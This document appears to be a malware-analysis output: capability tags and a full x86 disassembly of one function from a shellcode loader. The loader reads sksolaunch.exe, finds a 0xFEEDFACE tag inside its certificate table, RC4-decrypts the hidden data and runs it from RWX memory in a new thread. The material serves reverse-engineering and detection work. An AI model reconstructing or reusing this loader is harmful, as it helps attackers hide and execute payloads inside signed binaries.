Function at 0x100047f0
Capabilities:
Allocate or change rwx memory
Create thread
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Get file size
Inject thread
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x41c
mov eax, dword [0x100be014]
xor eax, esp
mov dword [esp + 0x418], eax
push ebx
push esi
push edi
push str._n__:_Basic_Loader..._n_n
call fcn.10004770
add esp, 4
lea eax, [esp + 0x220]
push 0xff
push 0
push eax
call fcn.100086f0
add esp, 0xc
lea eax, [esp + 0x320]
push 0xff
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x320]
push 0x5c
push eax
call fcn.1000a3c0
add esp, 8
test eax, eax
je 0x1000485f
mov byte [eax], 0
lea eax, [esp + 0x320]
push eax
push str._sksolaunch.exe
lea eax, [esp + 0x228]
push 0xff
push eax
call fcn.100047b0
lea eax, [esp + 0x230]
push eax
push str.__:_Using_PE_File:__s_n
call fcn.10004770
xor eax, eax
xor ebx, ebx
mov dword [esp + 0x24], eax
mov dword [esp + 0x130], eax
lea eax, [esp + 0x238]
push eax
push str.__:_Loading_Parsing_PE_File__s_n
call fcn.10004770
add esp, 0x20
lea eax, [esp + 0x220]
push ebx
push 0x80
push 3
push ebx
push ebx
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
je 0x10004c04
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
call fcn.1000c120
add esp, 4
mov edi, eax
lea eax, [esp + 0x118]
mov dword [esp + 0x10], edi
push ebx
push eax
push esi
mov esi, dword [esp + 0x20]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [esp + 0x118], ebx
jne 0x1000493d
lea eax, [esp + 0x220]
push eax
push str.___:_Could_not_read_file__s_n
push 2
call fcn.1000d3e4
add esp, 4
push eax
call fcn.10004740
add esp, 0xc
xor ebx, ebx
jmp 0x10004bce
mov eax, 0x5a4d
cmp word [edi], ax
je 0x10004956
lea eax, [esp + 0x220]
push eax
push str.___:__s_is_not_a_valid_PE_file_n
jmp 0x10004923
lea esi, [edi + 0x18]
mov ecx, 0x38
add esi, dword [edi + 0x3c]
lea edi, [esp + 0x120]
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push str.IsWow64Process
push str.kernel32
mov esi, eax
mov dword [esp + 0x124], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000499f
lea ecx, [esp + 0x11c]
push ecx
push esi
call eax
cmp dword [esp + 0x11c], ebx
je 0x100049be
mov eax, 0x20b
cmp word [esp + 0x120], ax
jne 0x100049d3
mov ebx, 2
jmp 0x100049d3
mov ecx, 0x10b
mov eax, 0xfffffffe
cmp word [esp + 0x120], cx
cmove ebx, eax
mov esi, dword [esp + ebx*8 + 0x1a0]
mov ebx, dword [esp + ebx*8 + 0x1a4]
push esi
push str.__:_Certificate_Table_RVA__x_n
call fcn.10004770
push ebx
push str.__:_Certificate_Table_Size__d_n
call fcn.10004770
mov edi, dword [esp + 0x20]
add esp, 0x10
add edi, esi
xor esi, esi
test ebx, ebx
je 0x10004a50
cmp byte [esi + edi], 0xfe
jne 0x10004a21
cmp byte [esi + edi + 1], 0xed
jne 0x10004a21
cmp byte [esi + edi + 2], 0xfa
jne 0x10004a21
cmp byte [esi + edi + 3], 0xce
je 0x10004a28
inc esi
cmp esi, ebx
jb 0x10004a06
jmp 0x10004a50
push 0xce
push 0xfa
push 0xed
push 0xfe
push str.__:_Tag_Found_0x_x_x_x_x_n
call fcn.10004770
lea eax, [esi + 8]
add esp, 0x14
mov dword [esp + 0xc], eax
lea eax, [esi + 8]
mov esi, dword [esp + 0xc]
cmp esi, eax
je 0x10004a7a
push str.___:_Could_not_locate_data_shellcode_n
push 2
call fcn.1000d3e4
add esp, 4
push eax
call fcn.10004740
add esp, 8
xor ebx, ebx
jmp 0x10004bc6
sub ebx, esi
push ebx
call fcn.1000c120
add esp, 4
mov dword [esp + 0xc], eax
lea ecx, [edi + esi]
push ebx
push ecx
push eax
call fcn.10008850
add esp, 0xc
xor edi, edi
xor ecx, ecx
mov esi, 3
mov eax, ecx
mov byte [esp + ecx + 0x120], cl
cdq
idiv esi
mov al, byte [edx + 0x1003164c]
mov byte [esp + ecx + 0x18], al
inc ecx
cmp ecx, 0x100
jl 0x10004aa0
xor esi, esi
mov dl, byte [esp + esi + 0x120]
movzx eax, byte [esp + esi + 0x18]
add eax, edi
movzx ecx, dl
add ecx, eax
mov edi, ecx
and edi, 0x800000ff
jns 0x10004ae6
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [esp + edi + 0x120]
mov byte [esp + edi + 0x120], dl
mov byte [esp + esi + 0x120], al
inc esi
cmp esi, 0x100
jl 0x10004ac1
xor edx, edx
xor esi, esi
test ebx, ebx
jle 0x10004b76
xor edi, edi
nop
inc edi
and edi, 0x800000ff
jns 0x10004b21
dec edi
or edi, 0xffffff00
inc edi
mov cl, byte [esp + edi + 0x120]
movzx eax, cl
add edx, eax
and edx, 0x800000ff
jns 0x10004b3d
dec edx
or edx, 0xffffff00
inc edx
mov al, byte [esp + edx + 0x120]
mov byte [esp + edx + 0x120], cl
movzx ecx, al
mov byte [esp + edi + 0x120], al
movzx eax, byte [esp + edx + 0x120]
add ecx, eax
movzx eax, cl
mov ecx, dword [esp + 0xc]
movzx eax, byte [esp + eax + 0x120]
xor byte [esi + ecx], al
inc esi
cmp esi, ebx
jl 0x10004b10
push ebx
push str._n__:_Encrypted_Decrypted_Data_Size__d_n
call fcn.10004770
add esp, 8
push 0x40
push 0x1000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push ebx
mov ebx, dword [esp + 0x14]
mov esi, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, dword [esp + 0x14]
mov edi, dword [esp + 0x10]
test edi, edi
je 0x10004bdb
push edi
call fcn.1000bc20
add esp, 4
test ebx, ebx
je 0x10004be8
push ebx
call fcn.1000bc20
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x424]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10005873
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x220]
push eax
push str.___:_Could_not_read_file__s_n
push 2
call fcn.1000d3e4
add esp, 4
push eax
call fcn.10004740
add esp, 0xc
push 1
call fcn.1000c60a
int3